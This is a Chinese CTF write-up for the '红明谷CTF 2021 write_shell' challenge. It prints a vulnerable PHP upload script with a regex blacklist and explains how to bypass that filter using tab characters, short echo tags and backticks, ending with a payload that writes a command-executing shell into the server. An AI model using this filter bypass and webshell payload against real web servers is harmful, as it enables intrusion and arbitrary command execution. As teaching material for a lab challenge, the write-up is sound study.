首页后端开发JAVA[红明谷CTF 2021]write_shell

[红明谷CTF 2021]write_shell

时间2023-07-06 05:37:02发布访客分类JAVA浏览1601
导读:本文最后更新于 559 天前,其中的信息可能已经有所发展或是发生改变。上代码<?php error_reporting(0 ; highlight_file(__FILE__ ; function check($input {...

本文最后更新于 559 天前,其中的信息可能已经有所发展或是发生改变。

上代码

?php
error_reporting(0);
    
highlight_file(__FILE__);

function check($input){
    
    if(preg_match("/'| |_|php|;
|~|\\^|\\+|eval|{
|}
/i",$input)){

        // if(preg_match("/'| |_|=|php/",$input)){
    
        die('hacker!!!');

    }
else{
    
        return $input;

    }

}


function waf($input){

  if(is_array($input)){
    
      foreach($input as $key=>
$output){
    
          $input[$key] = waf($output);

      }

  }
else{
    
      $input = check($input);

  }

}
    

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    
    mkdir($dir);

}

switch($_GET["action"] ?? "") {
    
    case 'pwd':
        echo $dir;
    
        break;
    
    case 'upload':
        $data = $_GET["data"] ?? "";
    
        waf($data);
    
        file_put_contents("$dir" . "index.php", $data);

}
    
?>
    

思路

很明显的一道命令写入题,绕过waf写入命令到文件

获取写入文件路径

一眼就能看出传入action=pwd就能获取到生成的文件路径,写入后文件保存在生成的路径/index.php中

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    
    mkdir($dir);

}

switch($_GET["action"] ?? "") {
    
    case 'pwd':
        echo $dir;
    
        break;
    
    case 'upload':
        $data = $_GET["data"] ?? "";
    
        waf($data);
    
        file_put_contents("$dir" . "index.php", $data);

}
    
?>

写入文件

function check($input){
    
    if(preg_match("/'| |_|php|;
|~|\\^|\\+|eval|{
|}
/i",$input)){

        // if(preg_match("/'| |_|=|php/",$input)){
    
        die('hacker!!!');

    }
else{
    
        return $input;

    }

}


function waf($input){

  if(is_array($input)){
    
      foreach($input as $key=>
$output){
    
          $input[$key] = waf($output);

      }

  }
else{
    
      $input = check($input);

  }

}
    

这里过滤了php、eval,这种情况下一句话木马就很难实现了

想要绕过check函数写shell,过滤了空格‘ ’可以用 \t 代替,也可以可以使用php中的%09来代替,过滤了'php'可以用短标签?=?> 代替,相当于? echo> ;

过滤了‘_’可以用?=``?> 代替,反引号在php中有执行命令的效果 利用通配符 '*' 模糊搜索目录下的文件

pyload

?action=upload&
    data=?=`cat\t/*`?>
    

浏览量: 49

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!

phpshellctfdatainput

若转载请注明出处: [红明谷CTF 2021]write_shell
本文地址: https://pptw.com/jishu/291349.html
PHP-web框架Laravel-队列(三) PHP-web框架Laravel-队列(二)

游客 回复需填写必要信息